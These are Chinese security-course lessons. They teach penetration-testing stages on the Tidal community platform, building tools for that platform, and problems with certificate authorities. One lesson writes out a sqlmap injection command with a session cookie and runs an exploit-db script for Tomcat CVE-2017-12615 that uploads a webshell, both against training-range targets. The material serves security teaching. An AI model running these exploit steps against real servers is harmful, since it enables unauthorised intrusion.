今天,让我们结合潮汐社区版一起来学习渗透测试基础吧!
渗透测试基础
渗透测试是指安全从业人员对某一网络系统模拟黑客入侵进行攻击,旨在发现网络系统中的不安全因素并进行及时修补。
它主要是从Web页面入侵到服务器主机再从服务器主机渗透到域内环境的一个过程而从Web到服务器的入侵也就是渗透测试的基础。
一般来说,渗透测试基础可以分为四个方面,它们分别为目标确认、信息搜集、漏洞发现以及漏洞利用。
首先,我们来学习渗透测试基础的第一个内容——目标确认。
目标确认
渗透测试的开始,需要我们明确自己着手的目标。
一般我们会有待攻击Web页面的URL链接在目标确认阶段我们需要根据这个链接获取到Web应用的真实IP地址以及存活子域的信息。接下来让我们来学习如何获取网页的真实IP。
IP地址获取
当我们知道一个网站的网址时通过直接ping的方式可以返回一个IP信息但是我们大概率无法得到网站源服务器的真实IP。这是因为部分网站会使用CDN技术将自己的源站真实IP隐藏起来该技术会通过使用各种缓存服务器将这些缓存服务器分布到用户访问相对集中的地区或网络中当用户访问网络时由这些缓存服务器直接响应用户请求。
为了让你更好地理解获取IP的方式下面我们一起看一个示例。
ping www.mituan.zone
PING www.mituan.zone (54.222.162.186): 56 data bytes
64 bytes from 54.222.162.186: icmp_seq=0 ttl=48 time=27.061 ms
64 bytes from 54.222.162.186: icmp_seq=1 ttl=48 time=29.629 ms
在这个示例中我们通过ping命令来获取谜团域名的IP地址那么我们如何知道它是真实的源站IP还是一个CDN地址呢
这时我们就可以用到CDN检测工具——moreping来简单检测目标网站是否使用了CDN技术moreping是基于Python去调用API接口来高速批量多地ping来检测资产CDN归属的工具。
我们已经将它集成在了潮汐社区版lev.zone之中你可以在注册登录之后搜索moreping对它进行使用。注意在注册过程中需要用到邀请码你使用VefMiMj7N37tHDL7即可不过它仅可支持有限个用户使用。
点开moreping编排我们可以看到该编排的描述信息及使用说明。点击新建任务我们可以看到如下配置页面
我们可以在这个页面输入想设置的任务名称例如moreping然后选择一个调用方式这里我们用快速模式就可以了。最后我们输入domain信息即可点击提交任务就开始运行了。
{'host': 'www.mituan.zone', 'isCdn': False, 'ip': {'54.222.162.186'}}
运行结束之后,我们可以获得如上信息,在该信息的 isCdn 字段我们可以获取到该IP是否属于CDN这样我们就能分辨出真实的IP信息。
到这里我们已经知道了如何获取待攻击页面的IP信息下一步让我们进入到信息搜集阶段。
信息搜集
信息搜集对于渗透测试是不可或缺的一部分。信息搜集的好坏与多少将一定程度上导致这次渗透任务的结果优劣,不论是网站暴露出的信息还是通过安全人员发掘出来的信息,都有为后续步骤创造机遇,为找到突破创造可能。
下面让我们学习一款典型的信息搜集工具——Nmap。
Nmap服务器信息扫描
Nmap是一个用于网络发现和安全审计的免费开源程序用于网络扫描、服务升级计划管理以及主机或服务正常运行时间监控等任务。我们可以利用Nmap对服务器开放的端口、使用协议、提供服务、操作系统类型来一次全方位的扫描。
在目标确认阶段我们获取到了www.mituan.com的真实IP地址54.222.162.186,我们就对它继续进行下一步的信息扫描操作。
在潮汐社区版的市场中搜索Nmap然后点击新建任务并选择 port_os - nmap SYN 模式输入谜团的IP地址开始扫描目标主机开放端口、主机名及操作系统。
获取到的输出信息如上所示,我们可以获取到谜团服务器的开放端口信息。下面,让我们进入到漏洞发现阶段。
漏洞发现
在信息搜集阶段我们可以发现谜团服务器的80端口运行着HTTP服务。
事实上该服务对应的是谜团Web应用但这里为了演示更方便我们假设该服务对应着谜团中的 DVWA SQL Injection 靶场,并对其发起攻击。
我们首先开启谜团中的一个DVWA靶场登录后选择其中的 SQL Injection 实例。之后,我们就可以对它进行漏洞发现。
sqlmap漏洞发现工具
我们很容易知道这是一个SQL注入靶场这样我们就可以使用潮汐社区版中的sqlmap SQL注入工具对它进行漏洞发现。
注意由于DVWA靶场需要登录才可以访问所以我们需要在cmd中输入cookie信息所以它的输入应该与下方示例类似
-u "http://1808d3f4e0bc4d8092ee9b26ad607e5a.app.mituan.zone/vulnerabilities/sqli/?id=chaoxi&Submit=Submit#" --cookie="PHPSESSID=phkop4mdpap307foab1e3veg91; security=low"
完成配置之后我们就可以点击提交运行我们的sqlmap SQL注入检测工具等待任务完成之后可以获得如下结果
从输出中我们可以看到生效的payload信息从而判定出该Web应用存在SQL注入问题。
到这里,我们已经完成了渗透测试基础中的漏洞发现阶段,接下来,让我们开始学习漏洞利用的方式。
漏洞利用
当我们在漏洞发现阶段找到漏洞之后我们就可以使用漏洞利用工具对Web应用进行攻击。
这里将用到谜团靶场中的专题·极客时间课程系列Tomcat CVE-2017-12615靶场进行漏洞利用的演示所以我们需要打开谜团运行Tomcat CVE-2017-12615靶场。
从页面中我们可以知道它使用的服务器版本为Apache Tomcat/8.5.19于是我们可以打开潮汐社区版中的工具exploitdb这个工具可以根据关键词搜索相关的漏洞利用方式。
我们选择simple模式的快速模式输入Tomcat8.5.19,然后点击提交,任务就开始运行了。
运行完成之后我们可以看到如下返回信息这代表我们可以在链接https://www.exploit-db.com/exploits/42966中获取到漏洞利用工具。
访问这一地址后我们下载其中的Exploit工具获取到一个Python文件42966.py。
由于不知道它的用法我们下载来之后运行命令python3 42966.py获取到它的使用方式如下
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
从使用方式中,我们发现需要使用 -u 参数来指定攻击的Web链接而使用 -p 参数则可以反弹shell。
于是我们将Tomcat靶场的地址作为参数执行如下命令
python3 42966.py -u http://ab41e0726b9747ef851288e1bfea3682.app.mituan.zone:8080/ -p
发现弹出了shell攻击成功。
到这里,我们就完成了渗透测试基础的四个步骤,在学习的过程中我们多次用到潮汐开源社区中的工具,你可能对于潮汐开源社区还是比较陌生,接下来我来给你们介绍它的功能,确保你在使用起来更加得心应手。
潮汐开源社区
潮汐开源社区是一个开源的安全工具合集平台,里面包含了大部分我们常见的安全工具,供我们在线使用,这解决了我们安装及维护安全工具的问题。
同时它还给我们提供了大量的编排所谓编排就是一个或多个工具的不同使用方式的结合例如在渗透测试基础中我们可以利用moreping以及Nmap工具结合起来实现对于待攻击应用的服务探测。
作为潮汐开源社区的用户,我们不仅可以使用其中集成好了的工具,还可以自己写一些编排,供其他用户使用。
总结
在这一讲中,我们学习了渗透测试基础相关的知识。
首先,我们知道了渗透测试可以分为四个部分,即目标确认、信息搜集、漏洞发现以及漏洞利用。
在对目标确认的过程中我们调用了潮汐开源社区的moreping软件它可以帮助我们判断url对应的IP信息是否是真实源IP。
当确认好目标的IP信息后我们就进入到信息搜集阶段在这个阶段我们使用了潮汐开源社区的Nmap软件它可以帮助我们判断一个IP开启的服务类型及协议信息。
然后我们就进入到漏洞发现阶段在这个阶段里我们使用了潮汐开源社区的sqlmap工具对一个Web页面进行检测根据工具运行的结果我们成功判断出了这个页面存在SQL注入漏洞。
最后我们进入到漏洞利用阶段在这个阶段我们使用了exploitdb工具查询到了Tomcat8.5.19中的漏洞,然后下载漏洞利用脚本,成功发起了攻击行为。
思考题
你认为在渗透测试基础的四个部分中,哪一部分最重要?
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,545 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
36 智能攻防:构建个性化攻防平台
你好,我是王昊天。
在之前的课程中我们多次用到了潮汐社区版这款Web应用并且知道了我们不仅可以利用它去运行各种安全工具及编排还可以自己编写一些编排进行上传供其他用户使用。
这一讲我们将会一步一步地学习如何使用潮汐社区版让你充分发挥这款安全Web应用的功能进行各种智能化的网络攻防行为。
潮汐开源社区版的使用
对于用户而言我们首先需要注册账号在注册过程中需要一个邀请码你使用VefMiMj7N37tHDL7即可仅支持有限个用户使用这样我们就能登录成功。潮汐开源社区版lev.zone具有三个功能即对于工具或编排的使用、添加工具以及添加编排它们操作的复杂度逐渐在上升让我们首先来学习对于工具/编排的使用吧。
对于工具/编排的使用
关于工具/编排的使用对应着使用说明文档的内容,你可以先对它进行浏览,这样在学习时会有一个大局观。
事实上,我们可以将准备过程分为三部分,它们分别是前置环境安装、凭证上传与获取以及本地运行。
环境安装
在环境安装部分我们进入到下方链接选择适合自己操作系统的Docker进行安装。
https://docs.docker.com/get-docker/
这一步中值得注意的是我们需要确保安装的Docker Engine版本为20.10.10以上如果你直接点击页面上的默认安装是没有问题的但是如果你电脑中原本就有Docker工具我们可以在命令行输入 docker info 查看它的版本信息如果低于20.10.10版本,那么就需要重新下载了。
完成Docker安装后我们要确保每次使用潮汐社区版时Docker都处于启动状态。
接下来,我们就进入到了下一个环节——凭证上传与获取。
凭证上传与获取
每一个使用潮汐开源社区的用户都需要将自己的设备与潮汐开源社区平台链接以便工具包能够在本地运行。我们需要登录潮汐开源社区平台在账户设置—我的设备中选择添加设备并生成随机Token请注意此Token只会展示一次所以你最好把它记录在本地。
下面,我们就开始进行本地运行相关配置。
首先是对于SSH的配置我们需要运用如下命令进入到SSH公钥的文件目录新建config文件并写入配置信息。
# 运行的命令
$ cd ~/.ssh
$ vim config
# 配置信息
Host lev
HostName service.lev.zone
Port 2222
User example_name #这里换成您潮汐开源社区的用户名
这样就完成了对于SSH信息的配置。接下来我们还需要启动docker-compose.yaml的内容。
本地运行
首先我们在账户设置—我的设备中获取docker-compose.yml文件然后进入docker-compose.yml所在文件目录运行如下命令搭建本地数据库环境、容器调用环境及与潮汐开源社区平台系统的远程链接其中这里的Token即为凭证获取时记录在本地的内容。
LEV_USER=example_name LEV_TOKEN=“lev-token” docker compose up -d
# 将example_name改为你的用户名lev-token改为你的token内容。
等待一段时间,使得容器全部启动完毕,恭喜你,到这里你就可以在潮汐开源社区任意使用各种安全工具啦!
添加工具
如果你不仅满足于对现有工具的使用还希望在Web应用中添加自己喜欢的工具那我们就需要学习如何添加工具。
注意,添加工具的学习需要你完成了使用工具/编排的相关配置,除此之外,我们还需要进行一些额外的配置。
环境安装
由于编写及上传个人工具与编排到潮汐开源社区的主要语言为Python3.10及以上的版本所以我们需要安装相应的Python环境。
下载的方式为访问https://www.python.org/downloads/然后选择符合你电脑操作系统的Python3最新版本即可。
这里我们还需要安装一个Python包管理器——PDM。因为潮汐开源社区会利用PDM进行一些包的管理、工具的可用性测试以及工具的上传。
下载的方式为进入PDM官网https://pdm.fming.dev/然后点击Installtion选项可以看到如下的命令行安装方式我们只需要寻找符合自己电脑操作系统版本的命令进行安装即可。
# Linux/Mac
curl -sSL https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py | python3 -
# Windows
(Invoke-WebRequest -Uri https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py -UseBasicParsing).Content | python -
在安装完成之后,我们还需要运行如下命令,将安装结束后的路径加入到系统路径中。
export PATH=/root/.local/bin:$PATH
完成这一步骤后,我们可以输入 pdm -V 进行检查,如果看到输出的版本信息就代表我们安装成功了。
接下来我们需要添加pep582环境变量的配置如下列举了不同情况下的添加方式你可以据此寻找合适的类别进行添加。
# Bash
pdm --pep582 >> ~/.bash_profile
pdm completion bash > /etc/bash_completion.d/pdm.bash-completion
pdm config feature.install_cache on
# Zsh
pdm --pep582 >> ~/.zprofile
pdm config feature.install_cache on
# Oh-My-Zsh:
pdm --pep582 >> ~/.zprofile
mkdir $ZSH_CUSTOM/plugins/pdm
pdm completion zsh > $ZSH_CUSTOM/plugins/pdm/_pdm
# Then make sure pdm plugin is enabled in ~/.zshrc
pdm config feature.install_cache on
#Fish
pdm --pep582 >> ~/.fprofile
pdm completion fish > ~/.config/fish/completions/pdm.fish
pdm config feature.install_cache on
# Powershell
# Create a directory to store completion scripts
pdm --pep582
mkdir $PROFILE\..\Completions
echo @'
Get-ChildItem "$PROFILE\..\Completions\" | ForEach-Object {
. $_.FullName
}
'@ | Out-File -Append -Encoding utf8 $PROFILE
# Generate script
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
pdm completion powershell | Out-File -Encoding utf8 $PROFILE\..\Completions\pdm_completion.ps1
pdm config feature.install_cache on
最后我们还需要对编译器进行PDM的设置。
这里我们需要用VSCode编译器点击左下角的设置按键然后搜索settings点击Edit in settings.json将如下命令加入到VSCode的settings.json中。
{
"python.autoComplete.extraPaths": ["__pypackages__/<major.minor>/lib"],
"python.analysis.extraPaths": ["__pypackages__/<major.minor>/lib"]
}
这样VSCode就可以支持PDM的设置方式接下来我们进入到凭证上传与获取阶段。
凭证上传与获取
每一个使用潮汐开源社区的开发者用户都需要完成SSH公钥上传的操作具体的实现方式如下
Linux:
cd ~/.ssh
ls -la
# 如果有 .pub 文件存在(如 id_rsa.pub则不需要再生成 SSH 公钥
cat ~/.ssh/id_rsa.pub
Windows:
cd C:\Users\username\.ssh #username 是当前 Windows 用户名称
dir
# 如果有 .pub 文件存在(如 id_rsa.pub则不需要再生成 SSH 公钥
type C:\Users\username\.ssh\id_rsa.pub
如果发现没有SSH密钥对我们需要运行如下命令生成
Linux:
ssh-keygen -t ecdsa -C "[email protected]"
# 不建议利用 rsa 加密算法生成密钥对ecdsa 安全性更高
Windows:
安装 git: https://git-scm.com/download/win
进入 git bash
ssh-keygen
# 不建议利用 rsa 加密算法生成密钥对ecdsa 安全性更高
生成密钥对后我们在账户设置—公钥管理中选择上传SSH公钥然后将上述步骤生成的 .pub 公钥文件内容复制粘贴进行添加即可。
除此之外我们还需要获取SDK凭证它会在我们上传工具包时进行运用我们在账户设置—开发者设置中选择生成Token并将它记录在本地。
到这里,我们就完成了凭证的获取。下面,我们学习如何对工具的镜像进行管理。
镜像管理
在学习镜像管理之前,我们先来了解一下镜像的作用是什么?
在我们潮汐社区版中的工具都是放在镜像中的然后系统调用上传的py文件对这个镜像进行执行函数的设置从而运行这个工具。这可能有点复杂不过不用担心我们这里仅仅需要学会如何构建镜像以及上传镜像。
在Docker中我们可以用一个Dockerfile来构建镜像为了让你更好地理解下面我们一起看一个示例
FROM python
RUN pip install requests
RUN pip install bs4
RUN pip install argparse
RUN pip install lxml
COPY dsuc.py .
这就是一个用来构建工具镜像的Dockerfile文件其中FROM语句是从Dockerhub中引入镜像源Python在这个镜像源中已经安装好了Python3环境我们只需在此基础上继续构建安装一些Python包并将相同目录下的工具文件dsuc.py拷贝进镜像中就完成了工具的构建。
我们可以使用 docker build . -t lev:latest将这个Dockerfile构建为镜像。然后我们在镜像内执行这款工具即可。
作为开发者用户我们首先需要在自己的GitHub账号下创建一个仓库用于构建自己的某个工具。
如上图所示我们需要将Dockerfile以及依赖的文件dsuc.py一起上传到GitHub上。
然后我们要在潮汐开源社区平台的账户设置—开发者设置中选择绑定GitHub账户并授权潮汐开源社区对我们GitHub仓库的访问。
之后,我们就可以在潮汐开源社区平台的仓库—镜像管理中,选择添加镜像,将名称填写为需要上传或测试的工具名以及适当的描述信息,点击提交,我们会对你提交的镜像进行审核,通过之后,该工具镜像就可供我们使用。
完成镜像的添加后,我们需要对景象的构建规则进行设置。具体的方式为在镜像管理中点击上传的镜像,然后选择构建规则,点击添加规则。
之后根据GitHub中的类型选择构建类型等信息然后点击提交即可完成镜像配置规则的设置。
完成构建规则的设置后,我们就可以点击构建,生成我们的镜像。等待一段时间后,我们可以在构建结果观察到我们的构建信息。
这样我们的工具镜像就可以使用了。下面,我们继续学习工具调用的方式。
添加工具/编排
在进行工具添加时,我们首先需要准备一个工作区目录,下面以 ./lev-hub 为例,这样我们就可以在其中编写代码文件。
之后,我们进入到 ./lev-hub 这个创建的工作区目录下,执行如下命令:
# 添加官方插件 pdm_lev
pdm plugin add pdm_lev
# 配置接入潮汐的 SDK 的凭证 将之前获取的 token 设置为全局变量
export LEVHUB_KEY={SDK token}
# 其中 username 代表你的用户名tool 代表将要上传的工具名
pdm lev new username.tool
# 在 ./lev-hub/username.tool 目录下安装 levrt 包
cd ./lev-hub/username.tool
pdm config pypi.url https://pypi.tuna.tsinghua.edu.cn/simple
pdm add levrt
假设我的用户名为example并且我准备上传工具名为test这样我们就可以获得到如下目录结构
example.test
├── lev
│ └── example
│ └── test
│ ├── __init__.py
│ ├── __pycache__
│ │ ├── __init__.cpython-310.pyc
│ │ ├── asset.cpython-310.pyc
│ │ └── tool.cpython-310.pyc
│ ├── asset.py
│ └── tool.py
└── pyproject.toml
这里我对其中几个比较重要的文件做一下讲解。文件tool.py代表我们调用工具的方式我们需要将它的名称改为实际的软件名test.py同时注意将asset.py、test.py以及 _init_.py 中的tool修改为test。
在创建完工具调用后,我们开始编写其中的代码,首先我们需要了解工具分类信息表,它代表不同工具的类型,我们在编写代码时需要用到。
了解完工具分类后我们就可以写入test.py文件的内容如下这是一个有模式的工具调用格式。
"""
test工具的描述
# 此处需要空一行
---
name: test # 工具名称
category:
# 工具的分类,根据开发文档最下方的类型进行选择。
- recon
"""
# 工具的模式。
__modes__ = ["fast", "slow"]
# 导入工具依赖包,分别用于启动工具镜像、将结果数据写入数据库和改写 ENTRYPOINT
from levrt import Cr, ctx, remote
# url 是一个需要输入的字符参数。
def fast(url:str) -> Cr:
"""
test fast模式
```
await test.fast(["talentsec.cn"])
```
---
params:
domain:
desc: 进行检测的域名
patterns:
- talentsec.cn
image: .example.test:v1
model: example/test.fast:1.0
"""
@remote
def entry(url):
import subprocess
import json
output = subprocess.check_output(["python3", "/dsuc.py", "-u", url],text=True)
outpuy = output.split("\n")
outpuy.pop()
result = {"result":output}
ctx.update(result)
return Cr(".zerone.test.fast:v1", "zerone/test.fast:1.0", entry=entry(url))
def slow(url:str) -> Cr:
"""
test slow模式
```
await test.slow(["talentsec.cn"])
```
---
params:
domain:
desc: 进行检测的域名
patterns:
- talentsec.cn
image: .example.test:v1
model: example/test.slow:1.0
"""
@remote
def entry(url):
import subprocess
import json
output = subprocess.check_output(["python3", "/dsuc.py", "-u", url, "-s"],text=True)
output = output.split("\n")
output.pop()
result = {"result":output}
ctx.update(result)
return Cr(".example.test.slow:v1", "zerone/test.slow:1.0", entry=entry(url))
当我们的工具比较简单,仅仅有一个模式时,我们可以将它写为如下格式:
from levrt import Cr, ctx, remote
def test(url:str) -> Cr:
"""
test工具的描述
```
await test("talentsec.cn")
```
---
name: test url查询工具
params:
domain:
desc: 进行检测的域名
patterns:
- talentsec.cn
category:
- misc
image: .example.test:v1
model: example/test:1.0
"""
@remote
def entry(url):
import subprocess
output = subprocess.check_output(
["python3", "/dsuc.py", "-u", url], text=True)
output = output.split("\n")
output.pop()
result = {"result":output}
ctx.update(result)
return Cr(".example.test:v1", "example/test:1.0", entry=entry(url))
到这里我们已经知道了工具的调用方式想要去执行这些工具还需要写好编排。以多模式test工具为例它有两种模式fast以及slow。
我们在 ./lev-hub/username.tool/lev/username/tool/asset.py对应到此处为 ./lev-hub/example.test/lev/example/test/asset.py中进行编写。
# test多模式工具简单调用
import asyncio as aio
from levrt import ctx
from . import test
async def slow_test(domain:str):
“””
编排描述。
```
await slow_test(“talentsec.cn”)
```
name: slow test 检测
params:
domain:
desc: 进行检测的域名
patterns:
- talentsec.cn
model: example/test.slow:1.0
“””
result = await test.slow(domain)
data = await result.get()
print(data)
async def fast_test(domain:str):
“””
编排描述
```
await fast_test(“talentsec.cn”)
```
name: fast test 检测
params:
domain:
desc: 进行检测的域名
patterns:
- talentsec.cn
model: example/test.fast:1.0
“””
result = await test.fast(domain)
data = await result.get()
print(data)
# test无模式工具简单调用
import asyncio as aio
from levrt import ctx
from .test import test
async def simple_test(domain:str):
“””
攻击者利用一个泛用于Unix系统中的二进制文件使他们能够提升他们的权限并执行他们不应该被授权执行的操作。
在此攻击模式下gtfobins工具将利用输入的Unix二进制文件名搜寻它可能存在的权限提升命令。
```
await simple_test(“talentsec.cn”)
```
name: simple test 检测
params:
domain:
desc: 进行检测的域名
patterns:
- talentsec.cn
model: example/test:1.0
“””
result = await test(domain)
data = await result.get()
print(data)
写完编排内容后,我们还需要进行模块的导入操作,这样我们的工具才能被运行。
具体的方法为,在 ./lev-hub/example.test/lev/example/test/_init_.py 中,将我们写好的编排及工具进行导入。
# test 多模式工具
__all__ = [“test”, "slow_test", "fast_test"]
# 设定上传到潮汐社区的导出数组
from . import test # 工具定义的所有模式导入
from .asset import slow_test, fast_test # 导入编排
# gtfobins无模式工具模块导出
__all__ = ["test", "simple_test"]
from .test import test
from .asset import simple_test
现在,我们已经完成了工具内容相关的编写,如果你想要本地测试它的功能,我们需要在 ./lev-hub/username.tool 目录下添加执行文件main.py。
# 以多模式 test 工具为例
from lev.example.test import fast_test
if __name__ == "__main__":
import levrt
# import logging
# logger = logging.getLogger("lev")
# logger.setLevel(logging.DEBUG)
# logger 相关的命令可以使工具在执行时,编译器命令行输出调试数据
levrt.run(fast_test("talentsec.cn"))
#注意,为了 subprocess 正确的执行命令,传入编排的参数值都要符合参数定义的类型
然后运行下列命令以启动talentsec/lev
docker run -v /var/run/docker.sock:/var/run/docker.sock --rm -it talentsec/lev
# 或者可以使用如下环境变量传入 LEV_USER 及 LEV_AGENT_KEY 的方式
docker run -e LEV_USER=<your username> -e LEV_AGENT_KEY=<agent key> -v /var/run/docker.sock:/var/run/docker.sock --rm -it talentsec/lev
# 配置关联潮汐系统的终端 VPN 实例凭证 lev-agent-key
等待容器启动完成后,我们就可以在目录 ./lev-hub/username.tool 下用pdm run python main.py进行工具/编排的测试,如果有问题,我们可以及时对它进行修改。
当我们修改好后,并且检测完没有问题发生,我们就可以在 ./lev-hub/username.tool 目录下,运行 pdm lev upload 添加工具/编排。
这样,我们就完成了一个工具/编排的添加。
总结
在这节课程中,我们学习了如何使用潮汐社区版来构建自己的个性化攻防平台。
首先我们需要进行注册及登录操作这样我们就可以进入到配置工作中这里我们需要根据自己的需求进行配置。如果你仅仅想要使用其中的工具那么我们只需要做好环境准备即可其中包括Docker的安装、凭证的上传与获取这些过程可以参考文档中的使用说明。
如果你想要自己添加一些心仪的工具,那么我们还需要参考开发文档,完成环境的安装,学习如何上传工具及编排以及本地测试的方法。你可能在第一次上传工具或编排时感到困难,不要灰心,只要成功过一次后,后续我们就可以轻松分享自己的工具,并且收获其他用户的感激与认可!
思考题
你对潮汐社区版有什么建议?
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,69 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
大咖助场 数字证书,困境与未来
你好,我是范学雷。
先来做个自我介绍吧。我之前在Oracle做过首席软件工程师同时呢也是Java SE 安全组成员和OpenJDK 评审成员。如果你认识我的话,估计是因为我的极客时间专栏,我已经和极客时间合作第三季了,是《代码精进之路》《实用密码学》和《深入剖析 Java 新特性》的作者。安全领域本身是比较小众的,我一直有意做一些相关的分享,正好昊天的专栏有涉及加密有关的知识,在编辑同学的邀请下,就欣然前来助助阵。
这次我们讨论的话题,是关于数字证书的现实痛点,及其未来的发展走向问题。要想了解数字证书的现状,我们需要先来了解数字证书的背后逻辑和各路玩家。
数字证书的逻辑
数字证书主要的玩家主要涉及三个角色。第一个就是颁发证书的机构我们通常叫它CA也就是证书权威机构。第二个玩家是实用证书的持有者我们通常叫它证书的终端实体。第三个玩家是证书的使用者他们才是证书的最终消费者。
数字证书体系的设计,就是要帮助用户验证对方的身份,解决双方交流中的“对方是谁”或者“我在和谁说话”这个问题。从数字证书的角度出发,就是数字证书的消费者要通过验证数字证书,完成对数字证书持有者的身份认证。
可是,凭什么你有了一张数字证书,我就要信任你的身份呢?这个信任关系是怎么来的呢?这就要说说证书权威机构了。
证书权威机构,名字里虽然带着权威,但实际上,它可能并不是一个有权有威的机构。这个机构发布了一份认证实践声明,来说明自己做事的规则和流程。 你如果认可这份声明,并且信任它的执行流程,那么这个机构就是你信任的机构。当然,是否信任这个机构,是你的权利,如果你不信任它,它就一点也不威风。
乍一看,数字证书的最终消费者是互联网用户,并且可以选择是否信任一个证书权威机构,似乎有点上帝的味道。真实的情况是,数字证书的最终消费者不是证书权威机构的用户,而是数字证书的持有者,因为,数字证书的持有者才是给证书权威机构付费的实体。
通过这一点我们会发现,数字证书权威机构代表的是证书持有者的利益,而不是数字证书消费者的利益。数字证书持有者和数字证书消费者的利益,不一定总是一致的。如果出现利益冲突,数字证书消费者的利益不一定会被放在首位。作为一个数字证书的消费者,我们无条件地信任一个证书权威机构,但是它却不代表我们的利益,这的确有点讽刺的意味。
事实上,对于消费者而言,如果一个证书权威机构能够按照它的声明和规则做事,我们也许少一些担忧。但是,声明的背后,往往可能是一些有意或者无意的错误,也可能是一定存在漏洞的数字化代码。不论是哪一种问题,都说明了证书权威机构并不总是能够按照它的声明做事。
案例
我们知道在数字的世界里能够代表Google的数字证书表示的就是Google的身份。如果这个证书的持有者不是Google这就表明这是一个假冒的身份。数字证书本来就是要解决身份认证的问题。现在不适当的数字证书披上了一层合法的外衣可以堂而皇之的以假冒的身份玩耍各种欺骗的手段。这样的例子屡见不鲜比如说没有经过Google的允许证书权威机构就颁发能够代表Google的数字证书。
2011年7月10日证书权威机构DigiNotar未经Google许可给Google发了数字证书其中是否存在某种阴谋我们不得而知。2011年8月28日该事情被披露了出来过了不到一个月的时间DigiNotar就宣布破产了。这种未经许可给Google发了数字证书的证书的故事不是第一例也不会是最后一例。甚至有的证书权威机构趁着平安夜的假期和万家灯火的祥和气氛像圣诞老人一样给Google颁发了一张不属于它的证书作为圣诞节的礼物。
我们可以肯定的是这种不期而至的礼物并不只是对Google一个机构青睐有加。我们看到这么多假冒Google的数字证书披露出来只是Google影响力和强大技术能力的一个侧面印证。普通的联网用户甚至是很多的机构并没有对应的能力去鉴别那些披着合法外衣的、假冒的数字证书。
发生类似的事情Google无疑是受害者之一但是受损失最大的一定是我们这些互联网用户。我们的利益和隐私可能会在这样的有意无意中遭受到巨大的损失而且我们还不明真相不知所以不知所终。
为什么DigiNotar给Google发一张数字证书就能影响到我们的利益和隐私呢这还要从我们使用证书的习惯说起。
尽管证书是互联网安全的基石,但在一般情况下,我们自己并不直接使用证书,而是通过代理人,也就是浏览器使用证书。所以,如果不是安全专业人士,我们根本不会关心数字证书,当然就不会知道谁是证书权威机构,以及该信任哪些证书权威机构。这些决策,都是我们的代理人替我们做出来的。
如果你能够阅读浏览器信任的证书权威机构,你可以看到一个长长的列表(通常是几十个或者上百个机构)。我敢说,即便你是资深的安全专业人士,也很难了解每一个证书权威机构。这些证书权威机构分散在世界各地,归属于不同的国家和地区,代表着不同的利益和势力。
想象一下,如果这个长长的列表里,每一个证书权威机构都有着相同的权威,它颁发的每一个证书我们都无条件信任,这也就意味着,在这个长长的列表里,只要有一个证书权威机构捣乱,整个数字证书的逻辑就崩塌了。要求每一个证书权威机构都完美地按照它的声明和规则做事,不允许出现异数,这实在是有违基本常识的假设。
探索
类似于DigiNotar这样的案例在我们的头上狠狠地敲了以榔头足够被我们打晕。当我们醒过来的时候揉揉脑袋上久久不能消退的大包才认识到我们太天真。我们选择信任证书权威机构但是它们并不都是可以信任的或者说没有一个是可以无条件信任的。让人更加不安的是作为用户我们如果想继续使用互联网除了继续信任证书权威机构以外并没有其他的选择。这样在“不可信任”和“不得不信任”中间一对矛盾就凸显出来。
当我们认识到矛盾的时候就是变革要发生的时候。既然已经认识到了证书权威机构并不可信但是又没有合适的办法摆脱它我们就要想办法把它关在笼子里小心地看护它、监管它。如果一个证书权威机构没有按照它的声明和规则做事我们最好第一时间就知道。解决的办法就是增加证书的透明度Certificate Transparency
如果一个证书权威机构颁发了一张证书这张证书立即就会被公开地记录在案。任何机构都可以查阅在案的记录。有了这个记录Google就可以查阅还有没有证书权威机构未经授权就擅自给自己发了一张证书了。这就是证书透明度的机制。
遗憾的是,如果一个证书权威机构颁发了一张证书,但是不公开记录在案,那么这张证书就还是没有透明度,还是可以兴风作浪。证书透明度的机制,帮助乖孩子解决掉了无意识错误的问题, 但是并没有让坏孩子产生错误意识。证书透明度的机制,增加了监管,但是并没有解决最根源的问题。
当我们认识到毫无退路的时候,还有一句话叫做“向死而生”。既然证书权威机构并不可信,它还有存在的必要吗?这是一个一直拷问着互联网安全架构设计者的问题。十年前,业界就已经开始做这样的尝试了。
其中影响最大的就是把数字证书和DNS绑定把证书存放在DNS的记录里。当我们解析域名的时候也就获得了这个域名对应的数字证书。只要DNS的安全逻辑没有问题这个数字证书也就没有问题、值得信任的。
这样,一个域名的所有者就不再需要证书权威机构给自己发证书了,颁发证书的工作,他自己就能完成。而且,在这样的框架下,证书权威机构即使给自己发证书,也不会被采用,威胁自然也不会发生。这样,数字证书就真的完全掌控在它的持有者手里了,既不能被修改,也不能被假冒。同样地,数字证书的消费者也就有了更清楚、更直接的信任关系。这是一个更简单的、更有效率、责权利一致的办法。
遗憾地是目前DNS的架构并不能保证它的安全逻辑没有问题。要想解决DNS架构和部署的安全问题还有很长的一段路要走。但是我们已经可以看到曙光了。
就像俗世的规则一样,在数字证书的世界里,责权不一致的原始设计,也会面临各种各样的问题;而解决的办法,也许是回归到更简单的、责权一致的路上来。

View File

@ -0,0 +1,77 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
春节策划(一) 视频课内容精选Web渗透测试工具教学
你好,我是王昊天。
今天是除夕,首先祝你新年快乐,希望你在新的一年收获满满!
在这个特别的节日我要送给你一套Web安全基础的教学视频作为新年礼物。在之前的课程中我们已经深入学习了Web漏洞挖掘的“失效的访问控制”“加密失败”“注入”“不安全的设计”的内容。
为了加深你对这部分内容的理解和掌握程度我特地从我第一季的视频课程《Web安全攻防实战》中精选了3讲视频内容提供给你学习。
第一节
08 | 常见的Web安全漏洞都有哪些
在这一节视频课程中我们会对Web应用使用的HTTP协议进行学习然后结合Web安全攻防要点分析Web安全的本质。目的是帮助你更好地理解和掌握Web安全。
第二节
09 | Web渗透工具入门Burp Suite、cURL、Postman
在这一节视频课程中我们会对Web安全领域的常用工具进行学习主要包括Burp Suite、cURL和Postman。
这一讲视频中用到的插件安装地址,我也一起提供给你。
